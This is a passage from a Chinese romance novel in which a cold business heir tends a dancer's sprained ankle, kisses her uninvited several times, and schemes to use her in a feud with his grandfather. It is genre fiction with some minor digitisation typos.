自然这些年来,对于森野樊宇和江承辑之间的冲突和心给他都看得一清二楚,也只有在森野樊宇的面前,江承辑才会有失控的举动。几个月前的一次冲突,不知道是什么原因令江承辑决定回台湾,任凭森野樊宇如何跳脚、咒骂,他都不为所动。回到台湾后,江承辑所有的情绪都隐藏在他无表情的面具下,至今还不曾失控过。

“是吗?那老头……”

“你都已经三十岁了,而且听说松版花珍很喜欢你,所以早就巴着老总裁不放,他替你答应了,我看很快就会向外界公布。”

“承辑?”沈天擎看他陷入沈思中,眼神显得空洞,令他不由得担忧的急急叫着他,看他的视线对准了他,才松口气的说:“这件事你打算怎么做?”刚回来台湾的那一个月,江承辑的眼神就是这么的空洞,仿佛灵魂已脱离身体,令他觉得害怕恐慌,天天守着江承辑,真怕他就这样过下去。

江承辑又回复一贯的冷情态度。

“你想,我会如那个老头的愿吗?”他冷冷地问,斜睨着沈天擎。

“你想到什么好办法对付他了吗?”沈天擎迟疑的问。

“没有。”

他果决的回答令沈天擎为之一愣,“啊?”

“你往下看不就知道这次谁会赢了?”江承辑的嘴边噙着一丝冷笑。

那冷笑竟令沈天擎起了寒颤。这几个月来,江承辑都不和森野樊宇说话,这样有意味的冷笑,看起来他们爷孙俩免不了又要有一番激烈的争执。不过江承辑已非数月前那个个性毛躁的人,他沈稳冷眼看待事物的态度,一定会今森野樊宇心惊的,唉!他只求一切和平落幕就好。

“回到台湾的这几个月来,你几乎都住在顶楼,最近我听源伯说你常回去老家,看来你倒是能适应了,不会再触景伤情?”沈天擎这次是以朋友关心的口吻问他。

江承辑看了他一眼,脸上依旧没有什么表情,只有他心底清楚为什么最近喜欢回老家住。就算沈天擎是他唯一信任的好朋友,他也不想将自己内心那陌生的悸动告诉他,因为连他自己都还搞不清那是什么样的一种感觉?

“今天我会将一切的事情都交代好,明天开始就由你代理一切向外的事务,公文方面每天下午由林秘书送来给我就好。”江承辑不想回答他的问题,因为回答不出来,所以就开始交代起事情。

听到江承辑丢了这串话下来,沈天擎有些讶异,自从江承辑接掌森野集团以后,从来没有放过自己一天假,从没有一天不到公司,这次是怎么回事? 江承辑看出好友的疑惑,不过并不打算向他解释什么,只是示意他可以出去。 沈天擎向他点点头后,满腹疑问的走了出去,他明白要是江承辑不想说,再多问也只是白费唇舌。

这天清晨天空下着毛毛细雨,整个天际都是灰濛濛的,石馨兰穿着一身轻便的服装,长发扎成一束高高的马尾,神清气爽的看着窗外,丝毫不被阴霾的天气所影响。

“小馨,我看今天天气不好,就不要出去运动了。”李玉玫看天气这么差,担心的劝她不要出去。

“老妈,只有飘毛毛雨而已,而且地上都没有建,没有关系啦!下个月就要世界舞蹈比赛了,我不好好加强体能怎么行呢?”

一年一度的世界舞蹈比赛是每个练舞人最想参加的,石馨兰当然也不想错过这次的比赛,虽然能扬名国际,不过她却不在乎名利,最重要的是能观摹其他各国选手的舞姿,这样她的舞技才能进步,教给学员更新潮的舞步。

“那你自己要小心!”李玉玫知道石馨兰一直是个独立有思想的女孩,一旦决定的事很少有人能改变她的想法,像她从小就一直很喜欢舞蹈,所以从幼稚园到大学都一直学舞蹈,到现在也有一点小成就了。

“嗯,妈,我知道了,谢谢你的关心。”她笑着在石母脸颊上印上一吻。“我走了,掰。”

出了家门,石馨兰来到往常练舞的地方,先做柔软操后开始跑步、跳跃。 也许是因为自恃对环境的熟悉,而忽略了气候不佳的因素,她在往后翻腾时一个不稳,落地时竟然扭到了右脚,叫了一声后跌坐在地上,双手抚着伤脚。当摸到伤处时,石馨兰痛叫了一声,她知道得靠自己的力量才有可能回到家,所以先用右脚支撑,再把右脚轻轻放在地上,谁知这样轻轻一放也痛得半死。 “哇!该死,痛死了。”石馨兰低声诅咒,藉以转移痛得要死的感觉,那剧烈的疼痛令她跌坐在地上,原本整齐的头发因为挣扎和冒汗显得有些凌乱,整个人看起来也有些狼狈。

她低垂着头想再次尝试站起来,下一刻却发现自己整个身体悬空,落在一个温暖宽厚的胸膛里。没有多想,她下意识的反应就是挣扎着要离开他的怀抱,石馨兰发觉这个人抱得很紧,只好手脚并用的挣脱想离开,甚至对他破口大骂了起来。

“喂!你这个人是怎么回事?干嘛乱抱人,色狼呀你!我又不认识你,真是莫名其妙!”挣不开他的怀抱,石馨兰不管三七二十一先开骂了再说。

石馨兰擡起精致秀丽的小脸,脸上满是惊愕,连身体都停止了挣扎。“是你!”她惊叫着指着他的脸。“你怎么会在这里?”问完后,她惊讶微张的小嘴,还是 江承辑抱着这副散发着女性幽香的胴体,看着石馨兰瞬息万变的丰富表情,眼底闪过一丝好玩兴味的光芒,却不显现出来,只是面无表情淡淡地对她说:“我住在这里。”同时抱着她往那栋大别墅走去。

看他根本没有放下自己的意思,石馨兰连忙对他大声喊着:“放我下来!我才不要你抱。”怎么那么倒楣?明明是要找个地方来避开他,好安心的练舞,怎么会练到他家的空地来了?

江承辑根本就不理会她的叫嚣抗议,依然稳稳的抱着她走向门口。

石馨兰对他的充耳不闻感到十分的不满,忍不住伸出手推着他的手臂,“喂!你这个人是耳聋啦?我叫你放我下来。”

她忍不住尖叫,因为他突然松手的动作,害她一个防备不及,差点要和地面接吻。从这种高度摔下来可不是好玩的,于是她连忙抓住他的衣袖,待惊魂未定的心脏慢慢的稳定下来后,才用力的打了他一记手臂。“你这个……唔。” 石馨兰忍不住瞪大圆眸,不敢置信江承辑竟然吻了自己。从来没有被人吻过的唇瓣就这样被他紧紧的压住,感官之间霎时充满了男性的气息,让她意乱心慌、不知所措;不曾经历过这种亲吻的感受,让她的身子禁不住微微颤抖了起来…… 石馨兰正想伸手推开他的头并且开骂之际,他早已移开了唇,并扬起一抹淡笑,对她道:“有没有人说过你是个很恰的女人?”

江承辑突如其来的转变,让石馨兰为之傻眼。真设想到这个男人笑起来竟然好看到令她为之心动的地步,可接下来他说的话却让她不以为然的翻了翻白眼。 “没有人说过,只有你。”她加重语气的说。

闻言,江承辑的嘴角呈现上扬的弧度,挑眉对她说:“喔!这么说来,就只有我这么有荣幸能让你表现出恰的这一面罗?”他突然停下来低头看她。 “荣幸你的头啦!”她没好气的反驳:“我的温柔对你这种人而言是一种浪费,你只配看到我粉恰的一面,要不然我就会被你这种虚伪的男人欺负。” “哈!哈!哈!”江承辑突然仰头大笑起来,这个女人真的很有意思。 什么恰?她可是一个很温柔又可爱的女人,根本就和那个字八竿子都打不着关系,要不是因为他,她的火气怎么会常常上扬?对于自己在面对他时失去理智而毫无气质的表现,她都觉得很难以理解呢!

现下这个让她完全变了个人的罪魁祸首,竟然敢当面说她恰?哼!正当石馨兰想要和他理论时,发现自己竟然已经在他家的大门口,而门口站了一个看起来很可爱的老人,她忙着打量老人,没有时间再和他多说什么。

站在大门口的源伯吃惊得下巴差点掉下来。少爷竟然抱着一个女人开怀大笑?这……这是怎么回事呀?难不成是他看错了?少爷不是最讨厌女人的吗?怎么会抱着一个女人笑成那副模样?

源伯急忙拿下老花眼镜仔细擦拭干净,再瞪大双眼,唯恐自己看错了。 只见那个女人依然窝在少爷的怀里,一副不安分的模样,直瞪大眼睛,看到少爷笑成那个样子,就用力拍着少爷的手臂,并对他不满的叫着。

“笑什么笑?”

少爷却一副完全不在意的样子,脸上的表情一下子又恢复为淡漠的死……喔,不,是老样子。天啊!今天到底有多少惊奇在等着他这把老骨头,他的心脏可经不起吓呀。

石馨兰在看到老人那副大惊小怪的模样时,忍不住对他露出一个促狭的笑容,当看到老人的眼镜又从鼻梁上滑下来时那副滑稽的模样,更是调皮的对老人挥了挥手,让老人一时愣住。

她不就是少爷连续好几天盯着看的那个跳舞的女人吗?看起来精力十足的模样,一点儿都不像脚受伤的样子。

依他的直觉判断,未来精采热闹的日子是可期待的,不知为何,老人的心底竟出现兴奋的期待,这个大宅也寂寥够久了,该有个女主人来赶走一室的冷清。 直到少爷吩咐他准备热水、毛巾和药品,源伯才回过神来急急忙忙的去准备。 石馨兰被安置在柔软的沙发上,一双骨碌碌的大眼直往大厅的四处转,被这里仿若三十年代的摆设所吸引,老式的圆型大吊钟等等的摆设和现代化的电器产品搭在一起,却一点都不显得突兀。

石馨兰只顾着看大厅的摆设,没有注意到源伯已经将热水、毛巾和药品拿来,更没有注意到江承辑将她受伤的右脚摆放在他的腿上,脱下她的鞋袜,细心的以热水擦拭,当他的手放在伤处时,那轻髑却仿若几斤重的压力,使得她哀叫出声,注意力马上被拉回来。

“噢!”石馨兰反射性的伸出手握住他的大手。“好痛!别这么用力……”她深深地吸了一口气缓和痛楚,并对他抱怨。

江承辑不顾她握住的手,还是轻柔的用沾有药膏的手为她轻抚伤处,望着她因为痛楚而含着泪水的眼眶,楚楚可怜的模样,令一向不会安慰人的他,心底竟浮现一丝罗惜,没有经过考虑就脱口而出:“我已经很轻了,忍一下。” 江承辑安慰的话语虽然令石馨兰的心感到温暖,但依然痛得哇哇大叫,甚至很小人的揣测他该不会是乘机在报复吧?之前自己让他很没面子的在公共场合丢脸,所以他现在才会故意用力的按压她的伤处,要让她做世界上第一个因为伤口的疼痛而死的女人吧?

石馨兰哀怨与怀疑的目光直直的射向江承辑,不过却不敢开口问,因为现在他的手正按压着她的疡处,她又不是找死,更何况,她是个聪明的女人,识时务者为俊杰这句话,她可是最佳的实践者。

但另一个人可没有那么镇静了,那个人就是源伯,他因眼前这幕永远不可能出现的情景而惊愣得连一句话都说不出来。一向冷情的少爷,从来没有带女人回来过,更不可能对谁有这样温柔的言语和呵护的举动,现在少爷竟然会对这个女人显露出这样的情绪来实属难得,看来这个女人在少爷心目中的地位很不一样。 石馨兰专注地看着江承辑为她包扎扭伤的脚,眼底浮现了担忧。“我的脚应该……过几天就会好了吧?”她的语气里有着迟疑,担心会因为脚伤而延误了练习,这样比赛会受到影响的。

江承辑看她一脸担忧的样子,安慰的话就这样从嘴里熘了出来:“不严重,顶多一个星期就可以好了。”他竟然讨厌看到她脸上那紧蹙眉头的模样,他的心不由自主的为了她而揪紧,那种感受是心疼吗?

摇了摇头,江承辑不明白自己这种莫名的思绪从何而来,只知在石馨兰大胆妄篇的在宴会里对他做出那件事后,就对她产生了兴趣,而这兴趣是为了报复她;没有一个人能在惹上他之后还能全身而退的,他要让她明白,有胆子来惹他,就要有那个本事承担后果!

但现下这个安慰又算什么?想到这里,他的表情不禁阴沈了几分,嘴角露出一抹残虐的笑意。算了,就当作是计画中的一部分吧!如果没有她的配合,计画要如何玩得下去?

只要一想到这个计画一方面可以教训她那冒犯他的大胆行为,另一方面又可以利用她来对付森野樊宇,他就稍微可以释怀,或许是因为石馨兰有利用的价值,所以他才会如此容忍她的放肆与纵容她吧!

石馨兰听到他的话后松了一口气,也没去问他为什么懂得脚扭伤的复元期,不自觉地就相信他的话,也不懂自己对江承辑的信任感从何而来,又是在什么时候产生的?自己不是一向很讨厌他吗?

这种奇怪的情绪,让她的心绪乱了起来,心情也变得有些不好,可是又解释不出自己话什么会这样。石馨兰不耐烦的将那些乱七八糟的思绪甩开,不去想那些才不会让自己的脑筋打结,她可不要浪费时间去想荼毒自己的事!

她低头瞄了一眼手表,才发现这么一折腾已经十点多了,“糟了,怎么这么晚了?”她惊叫三餐跳了起来,压根儿忘了自己的脚不能走。

江承辑对于她如此迷煳的个性,只能无奈的摇摇头。他的动作根本比不上她那健忘的脑子,不过他还是快速的站了起来想过去拉她一把,耳朵毫不意外的听到她赶紧抱着受伤的脚金鸡独立,边喊痛边诅咒的声音。

“哇!真是该死的痛!”身子因为只有一只脚撑着,眼看就要和地面来个大拥抱,她抱着必痛的决心双眼一闭,决定让自己再痛一次。

咦?怎么不痛?

石馨兰偷偷睁开一眼,再睁开另一眼,眼前是江承辑放大好看的脸,嗯,真是一张货心悦目的脸。

江承辑怎么雏着眉头?这样一张好看的脸不该谈着眉头的,没有多想,她的小手就这样抚上他微皱的眉头,想将之抚平。

“真是暴殄天物!不要随便皱眉头,枉费你这张脸这么帅……”她根本没有自觉江承辑会皱眉头全是因离她随口诅咒而来。

对于石馨兰将手摆在他的脸上、还对他评头论足的举动,江承辑并没有生气,反而对她说:“小心一点,别忘了你的脚。”他再次将她小心的安置在柔软的沙发上,然后坐在一旁,也不阻止她的叨念不休。

江承辑示意源伯准备茶点,顺便打电话向石家报备一声。

石馨兰活泼聪明,却有一个缺点,那就是少根筋外加偶发的迷煳,所以有时就会让自己闹笑话,但她还是不以为意的继续迷煳下去,常令旁人又好气又好笑却犹不自知。

当江承辑再次将她抱起时,她停止了叨念,“你……你要抱我到哪里去?”石馨兰疑惑的问着,双手却信任的紧紧抱住他的脖子。“很晚了!我要回家,再不回去,老爸老妈会担心的。”

她出来运动,最晚八点就一定会到家,现在这么晚了,老爸老妈一定会觉得奇怪。

第三章

不理会石馨兰在耳边喳唿的抗议声,江承辑脚步不停的抱着她往阳台走去。“我已经吩咐源伯打电话回去给教授,他们知道你脚受伤,现在留在我这里,所以他们放心了不少。”

听到江承辑这么说,石馨兰不满的嘟起嘴来低声嘟哝:“哼!把我交在你手上,他们竟然会放心不少?有没有搞错?”正因为是他,应该要不放心才对吧?真不知道爸妈对他的信任感究竟是从何而来?难不成他们不知道他其实是一个虚伪的小人吗?真是意活意回去了,比女儿来得不懂人心险恶。

其实,石馨兰已经忘记,自己刚才也是很信任江承辑的。

她边说着,人已坐在阳台的椅子上,看到眼前准备好的精致茶点时,忍不住吞了口口水。各式各样的小点心用十分漂亮又昂贵的盘子装着,看起来十分好吃的样子,让她的眼神都亮了起来,压根儿忘了自己在抗议什么。“这些是要请我吃的吗?”她张着一双晶亮水灿的瞳眸期待的望着他。

说真的,刚才的运动与和他的争执早已让她的肚皮饿极了,嘴巴干渴得直想要端起那杯茶就往嘴里灌,可是基本的礼貌还是要有,所以只好先征询主人的同意!

看着她晶亮期待的眼神,江承辑忍不住暗暗觉得好笑,刚才还大声的说着他人格有问题的坏话,这下子却又被一盘点心与茶点收买,完全忘了刚才的抗议,这……态度也未免转变得太快了吧?

对于女人善变的态度,江承辑简直是叹为观止。不过,他不是早该习惯了吗?想到这里,他的眼神又黯了几分。这女人自然毫不做作的样子,令他感到耳目一新,不知为何,和她在一起,总是能感到轻松自在,不必那么累的防备着,只因为她很容易看懂。

若要知道石馨兰的心思,只消看她脸上丰富的表情与灵活生动的眼睛,就足以明白了。他从没碰过像她这么真的女人,这也是引起他注意的原因之一,不过对于女人,他懂得要自卫,所以还是会对她持保留态度,等多观察一阵子再说,现在她的功用就是帮助他的计画。

“嗯,如果你愿意赏脸的话。”难得的,他对她露出一抹温和的笑意,将自己对她的目的与企图隐藏在笑意后面。从刚才抱她进门,为她擦药包扎到现在温柔的对待她,这个在商场上狠绝、对待女人无情的男人,就像一只披着羊皮的狼,实际上却是在进行着只有他自己才清楚的大计画。

当然,狼想吞下小绵羊并拐她、绑她在身边乖乖的配合计画,就得花费一些心思来诱惑她,不是吗?对她露出一丝温柔的笑意,眼底却闪过算计的光芒,天真的小绵羊当然没有看见大野狼已经对她张开血盆大口,还自投罗网的往他的嘴巴里送。

“好呀!”石馨兰冲着江承辑笑,难得的对他表现出友善,就当作是报答他刚才替她所做的,还有请她吃好吃的点心的回礼吧!

石馨兰毫不做作的拿起桌上的小点心张口就咬。“嗯,好吃!谢谢你!”嘴里含着东西含煳不清的对他说。

江承辑以为教授的女儿该是优雅的淑女,举止也应该是一板一眼,但从第一次与她接触到现在,却都出乎他的意料之外;并不是说她没有家教,而是率真不做作,自然得令人一点也不会讨厌她这样大刺刺的动作。

虽然当她说话时,有时会让他气个半死,恨不得堵住她的嘴巴,不过大部分的时间,她所说的话却好笑得令他在心底几乎要笑翻了,而怪的是,现在这样难得�静的她,竟在神韵之间流露出一股高贵的气质。

或许是书香门第所培养出来的一种气质,如果他没有看错,石馨兰装扮过后一定是个高贵迷人的淑女,而现在脂粉不施的她,美丽可爱,加上天真的言语与动作,令他有着不寻常的心情浮动,这种浮动的情绪让他烦躁,却也想要更进一步的去了解这个小精灵。

“别客气,小馨,你不介意我这样叫你吧?”

石馨兰满口的茶点,点头的同时,连忙端起茶杯喝口茶。“不会,反正我家人、朋友都这样叫我。”

江承辑并没有深究自己为何在听到她这么说时会不高兴,也许是因为连续几个礼拜来看着她在自己的土地上运动、练习舞蹈,觉得她该是属于自己一个人的飞舞天使,所以不喜欢和别人一样称唿她。“馨馨。”

“啊?”石馨兰满脸不解的望着他,眼底满满的都是问号,“你在叫我吗?” 江承辑好笑的摇摇头,被她这副迷煳的可爱模爱给逗笑了,“嗯,我决定以后都叫你馨馨。”他坚决的说。

“喔!”她不以为意的应着,耸耸肩。“随便你。”石馨兰不以为她的名字要怎么叫有什么好计较的。

“不,这个名字──馨馨,只有我能叫。”他十分坚持。

听到江承辑坚决的话,她有些讶然的看着他脸上坚持的表情,“什么?”这是怎么回事呀?“为什么馨馨只有你能叫?”她实在不懂,他为什么要坚持这样一个小名,反正叫她,她回应就好了啊!

“因为那是我想出来的小名呀!”江承辑知道自己这个理由很牵强,这么坚持也显得很可笑,可他就是喜欢只有他一个人才能拥有的名字,别人都不行和他一样。

“是这样喔!”她偏头看着他,“可是,为什么我要让你这样叫?”

“馨馨,你很喜欢和我作对喔!”

他的语气虽然温和,眼神却十分的阴沈,让石馨兰的心底升起不自在的怪异感受,甚至还感到毛毛的。

石馨兰用力的瞪着他,觉得这个男人真的一点都不可爱,好不容易才决定休兵与他和平共处,结果不到半个小时的时间,他却又讨人厌的破坏一切。“喂!你那是什么眼神?别以为这样我就会怕你。不让你这样叫我的名字,就那幺小气的用那种可怕的眼神瞄我,别以为我不知道你这个人……”

“唔……”石馨兰一脸委屈、眼神哀怨的瞪着他。他怎么可以这么小人,趁她不注意时又偷亲她!

江承辑在碰及她的红唇之际,那仿若触电般的感觉,令他身躯一震,这是怎样的感觉?她的唇如他所想的甜美、诱人,可他却从没想过会受到震撼,他依从本能吮吻她粉嫩的唇瓣,再霸气却温柔的探取她口中的甘美滋味。

在抱怨过后,她的思绪被感觉取而代之,感觉到自己的双颊滚烫、心跳加速,浑身乏力得无法撑起变得沉重的身体,整个身体都依附在这副壮硕的躯体上。而他一手捧着她的后脑,一手横抱她的腰肢,力道随着吻的加深而变重。

石馨兰的小手无措的揪紧江承辑的衣襟,颤抖的娇躯无助的紧靠着他,迷茫的眼神失落在温热摄人的气息里,只觉得唿吸间有着他浓浓的男性气息,新鲜的空气慢慢抽离她的意识,只剩下他带给她的晕眩感觉……

江承辑粗喘着,贪心的汲取着她芳香又甜美的气息,舍不得离开带给他美好感受的甜美小嘴,可是她喘不过气来的反应,却令他不得不缓缓退开与她的缠绵,平复因她而带来的悸动。

被放开后,石馨兰反射性的动作就是伸手抚上因被他肆虐而红肿的唇,他的气息余温还残留在唇上,新鲜空气慢慢注入她的体内,脑袋也渐渐清明起来,刚才那亲密的画面才回到她的脑海里。当她发现自己的嘴得到自由时,忍不住对他斥责。

“你……你竟敢又吻我……”石馨兰愤怒的眼对上江承辑依旧幽暗却灼人炽热的眸光,登时让她忘了自己接下来要斥责的话,目光竟像鬼迷心窍般的被他牢牢吸住无法移开,魔法在两人身上无形的施展开来……

石馨兰惊觉不对,该死,该死!她暗自咒骂着自己,连忙回避他的眼神。不该是这样的,他怎么可以吻她呢?而她竟然这么可耻的在任由他吻着她后,还和他默默相望越来,差点忘了自己是要讨厌他的。

她到底是怎么了?都该怪他!不但吻她还用那种唔心的眼神来电她,害她很没原则的失守自己的初吻,她的眼睛盈满对他的怒气与指责。

“咦?馨馨,你在剩我,你知不知道?”看见那双闪着晶亮灵动的大眼,此刻唯一流露的却是对他的指控,他当然知道她在气什么,不过就是故意要提醒她,不知为何,他突然对逗得她气唿唿的可爱模样上了瘾,当然这点他绝不会让她知道。

“我就是在瞪你。”她气唿唿的对他喊:“你怎么可以不经过我的同意就偷吻我?”

“就这件事啊?”他耸肩不在意的问。拜托,让他吻有这么严重吗?何必气成这样,还瞪他,有多少女人送上门来,他还不屑吻呢!

江承辑敷衍的态度令石馨兰为之气结,激动的质问他:“你这是什么态度?这件事很严重耶!”

“哦?你倒是说说看有多严重?”他抱胸挑眉的问,一副慵懒的样子,等着她的解释。她可千万不要告诉他,吻了她之后她就会怀孕,然后要他负起责任,像这种没常识的话,别人他可不知道,但对于石馨兰这女人他就没多大的把握。 反正,他就是瞧扁她,若是让石馨兰知道他现在所想的,大概又要气得跳脚吧?江承辑故意恶意的想着,谁教她要在他吻了她之后露出一副嫌恶的表情,让他十分不悦。

“废话!这是我的初吻,是要留给我这一生中最爱的男人的,你怎么可以就这样小人的把它给夺走;吻都被你吻走了,难不成你还能赔我不成?”

听到她这么说,他想到在将来的某一天,她会碰上一个她深爱又特殊的男人,就教他心底感到不舒服,这种情绪让他的眉头都皱了起来。“我是不能。” “算了!”她朝他摆摆手,“只要以后你不要再随便乱亲我就行了。”其实她不敢承认的是,刚才那个吻也让她沈醉其中,可是像这种事她怎么好意思大声嚷嚷?那多丢脸!

不过,反正她以后和他也不会再有交集,知道这里是他家后,她再也不来练舞了,免得自己看到他就有一股火气冒上来,破坏自己的形象,那多划不来! 奇怪的是,只要这么一想,她的心就失落得发慌,仿佛自己的心再也不受控制般的难受,难不成自己真的喜欢上他了?

想到这个可能性,她连忙用力的摇摇头,想甩掉这个可怕的感觉,她才不可能那么倒楣,会去喜欢上这个一开始就和她互看不顺眼的家伙。

石馨兰大方的原谅江承辑的行为,却让他的身体压迫着,让她忍不住向后退倒在椅背上,对于他专注的凝视着她的表情有着惊慌,连忙伸出双手阻挡在他面前,“你想做什么?我警告你……”

她的话却被他轻柔又坚决的低语给打断:“我很讨厌被人威胁,尤其是一个女人,所以,我决定用这个方式……”他的话突然顿住,双唇随即覆上她的小嘴,并不顾她的阻挡强势的入侵唇内,搅弄着每一寸芳香,令她再次意乱情迷。 这个吻充满着强势及霸气,好似要将自己的吻烙印在她心房里,深深的索求使得她所有的感官气息都融人他的味道,然后她发觉自己再度被放开。

“这个方式会让你想到……”他松开她,在她能稳稳的站好时后退一步,眼帘低垂。下一刻,原本的狂妄占有与情潮波动在他眼帘再度扬起时已不复见,眼前这个男人的目光再度恢复成深不可测,幽深得仿若潭水。

待平复情绪后,他又继续未完的话:“不要再随便口出威胁,要不然你就要有随时被我堵住嘴巴的心理准备。”

这个男人真是……可恶!可恶极了!“你……”看他移动了一下脚步,石馨兰连忙捂住自己的嘴巴,生怕又被偷袭,害她的头变得晕头转向。

那戒备的模样,让江承辑忍不住轻扯嘴角。

看来,这女人还不算太笨,总算是学乖了。

看到江承辑那副小人得志的嘴脸,石馨兰只能用足以杀人般的眼神瞪视着他,对于这种人在屋檐下、不得不低头的情况,也只能默默接受,谁教她现在的情况是动弹不得的伤兵!

她难得的乖巧,让江承辑满意极了,看来找到对付这女人的办法了。

“待会儿吃完,我要人开车送你回去。”

“不……不必了。”她连忙拒绝再吃东西的决定,“我已经吃不下了,想要现在就离开。”

石馨兰那点心思,江承辑怎么会看不出来?算了,就暂时饶过她吧!她若是以为他们之间就这样算了的话,那就是太过天真,到口的肉,岂有把它往外推的道理?

只不过在她离去前,江承辑又给她一个热情的深吻。看着她那副落荒而逃的模样,他的心情突然大好。

石馨兰坐上车子后,江承辑站在门口目送她离去,而源伯则站在他身后,看着一脸惊慌的石兰馨急急想要离去的模样。当江承辑转过身子时,那一双阴沈又冷酷的眼眸,竟令他打起寒颤。

看来那位石小姐肯定逃不过少爷的手掌心,不过平心而论,他还没看过少爷对哪个女人这么费心神。

“源伯?”

江承辑低沈冰冷的嗓音响起,使得源伯连忙应声。

“少爷有何吩咐?”他恭敬的询问。

江承辑在他耳边低语了一番。“这事马上进行。”

“是。”他转身退下,一路上却瞪大了眼。他就说嘛,少爷对石小姐的感情和其他女人是不一样向,果然吧!他得赶紧去办,免得误了少爷的事。

不能四处趴趴走,只能乖乖的待在家里。

“唉!”她用手肘撑着下巴,趴卧在客厅里的长沙发,两只脚屈起晃呀晃地,叹了口长长的气。虽然脚已经好很多了,可是医生还是要她少用右脚,这样脚才会好得快,不得已的她只好乖乖的听话。

但她却好无聊!石馨兰无限哀怨的看着自己的脚,明明看起来都已经好了,为什么就是那么不争气的还不能跳舞?

脑海里突然闪过火热的景象,让她忍不住粗鲁的低咒一声,真是该死的,思绪怎么又跑到那天与江承辑亲吻的画面上?想起当时唇上还留着他灼热的余温,他的气息萦绕在她鼻息间的记忆,就令她感到懊恼极了,到现在他那低沈的男性嗓音还紧迫着自己的记忆不放,让她烦躁不已。

真不知道自己到底是着了什么魔,不是明明说好不再想起他的吗?可从他家回来到现在整整一个星期,她还忘不掉那个令人想到就双颊滚烫又羞人的吻。 门铃急促的声响打断了石馨兰的思绪,让她忍不住蹙起眉头,真不知道这时候会有谁来?老爸最近为了研究机构的经费问题忙翻了,交际应酬增加到之前的数倍之多,而老妈只好陪着老爸四处去参加宴会。

看看现在,虽然才九点多,但老爸老妈要赶三、四场宴会,也不可能那么快回来,那到底是谁会在这时候跑来?算了,还是先用对讲机看看再说吧! 当她从监视器的小萤幕看到江承辑那张俊帅脸庞时,忍不住吓得倒退了一步。吓!他又来做什么?真是讨厌,才刚想起,江承辑怎么又跑到自己的眼前? 听着那急促的铃声似乎没有停歇的打算,石馨兰只好按下对讲机的通话钮,并对他说:“我爸妈不在,你改天再来吧!”

但那边却传来他低沈的嗓音,(我是来找你的。)

“找我做什么?”她不客气的问道。自从他们第一次相遇开始,两个人就像犯冲一般的让她气得牙痒痒的,就不知道他们之间还有什么好说的?

(先开门再说。)

“不要。”她一口回绝。开什么玩笑,每次和他对上,倒楣的总是自己,何况,她的良好形象每次在遇上了他之后,总是莫名其妙的破坏殆尽。

(我真的有事要和你说,别任性了,可以吗?)在江承辑的平和语气下,压抑着不悦的情绪。

任性?他竟敢说她任性?她忍不住瞪大不敢署信的眼眸,双手愤恨的握成拳,克制住自己高张的怒气,恨不得一拳槌上在萤光幕前的男性脸庞。她告诉自己,忍住!千万要忍住,她可是个教养良好的淑女,千万不要和他一般见识。 (馨馨。)他提高的音量里带着一抹胁迫的意味。

但是石馨兰根本就不想理会江承辑。竟然敢说她任性?哼!

(如果你再不开门,我现在就打电话给你的父亲,告诉他,他的宝贝女儿竟然不懂得待客之道。)他一说完,作势就要从西装里拿出手机来……

门锁却在这时应声而开。

江承辑面无表情的打开门走了进去,就不信这小妮子斗得过他。

才一进门,他就看见石馨兰站在客厅的正中央,狠狠的瞪视着他,还咬牙切齿的骂了一句:“小人。”竟敢拿她的爸妈来威胁,真是太过份了!江承辑明明知道她的父亲对他有很好的印象,并且期望森野集团能对他们的研究机构提供赞助,如果他向父亲打小报告,那么疼爱她的父亲虽然不会责备她,但肯定会对她很失望,所以,她绝不能这么不懂事的让父亲伤心。

江承辑故意选择忽略那句批评,只是对她道:“你很喜欢跳舞?”

他的问题让她一怔,没想到他会这么问,让她的气焰一下子消失不见。当有人对她用如此客气的一面待她时,她实在也没有理由无理取闹,所以只能对他点头。

“对啊!况且我之前这么努力的练习,都是为了下个月去参加世界舞蹈大赛。”一说到她的兴趣,她竟不自觉地对他脱口说出自己的打算。

看着她讲到舞蹈时,眼神不自觉流露出晶亮的神采,就明白她是真的很热爱舞蹈。江承辑的眼神闪过一抹算计,看来,他捉住她的弱点了。“那加油吧!” “谢谢。”石馨兰看得出来江承辑是真心祝福她的,心里很高兴,不知为什么,知道他能接受她跳舞,让她的心里就是感觉到很快乐,连带的将之前与他的不愉快全都给抛到一旁去。

其实,石馨兰本来就是个不拘小节又不会记恨的人,事情只要气过就算。只要对方不要得寸进尺,她都不会再追究,若是对方有心要与她求和,就会不计前嫌的接纳对方。

尤其现下这个男人又挑中她最热爱的话题,那还有什么好计较的呢?

“我听说你开了一间舞蹈社,为什么不到那里去练习?这样也比较不会发生意外而受伤。”江承辑疑惑的问,其实心里很清楚原因。

“舞蹈社地方不大,最主要的原因是离家里太远了。”她笑着回答。

“这样啊!”他想了一会儿才说:“我那里有一间室内运动室,很适合你去练习跳舞,如果你不嫌弃,以后就到我那里去好了。”

“真的?”她高兴得快要跳起来,随即像是想到什么似的眼神黯然,犹豫了起来,“可是……这样会不会给你带来不便?”

鱼儿要上钩了,哪有让她熘走之理?他连忙对她道:“不会,一点儿都不会。”开什么玩笑,他费尽心思要让他们有多一点的时间相处,要将她给拐入门,怎么可能会有什么不方便的呢?

这时,石馨兰突然微偏着头,细细的打量着江承辑,眼神中有着一抹警戒,完全不像他预期的状况。

她刚刚明明很兴奋的,不是吗?为什么现下又用这种眼神看他?于是江承辑开口问她,很想知道这小家伙的脑袋里究竟装了些什么东西。

“怎么了?我太帅了,让你不得不瞪着我一直欣赏吗?”他故意促狭的问,其实是在逗她,很怪,他突然发现自己爱上了逗她的感觉,虽然更想知道她为什么这样看他──当然绝不可能是因为他长得帅。

江承辑那难得的幽默感让石馨兰突然一愣,真没想到像他这么严肃的男人,也会有这么幽默的一面,可是随即意会到他话里的意思,让她的脸颊悄悄飘上一朵红云,然后朝他扮出一个鬼脸,并嗤之以鼻地道:“少臭美了,谁……谁在欣赏你帅了?”

哼!打死她,她都不会承认。自己每次在看着江承辑时,都会因为他俊帅的外表而看到失神,那多丢脸阿!虽然他的脸真的是上等极品,但她绝对绝对不会告诉他,好让他得意的。

“喔?不然你在看什么?”

“我只是在想,像你这种老好巨滑的小人,怎么会那么好心的要借场地给我练习跳舞呢?”不能怪她以小人之心度君子之腹。

石馨兰小气的想着,实在不能怪她对他的看法这么差劲,她可没忘了,他在她面前总是会不自觉地摆出一副狂妄骄傲的可怕大野狼模样,而在她父母面前则维持君子般的良好形象,害她被她父母念到现在,所以当然要对他多加防范。 其实,石馨兰能够提高警觉实属难能可贵,看来她还不算太笨!江承辑眼中闪过一抹狡犹,不过要和他这个纵横商场的生意人比,还是不够看!

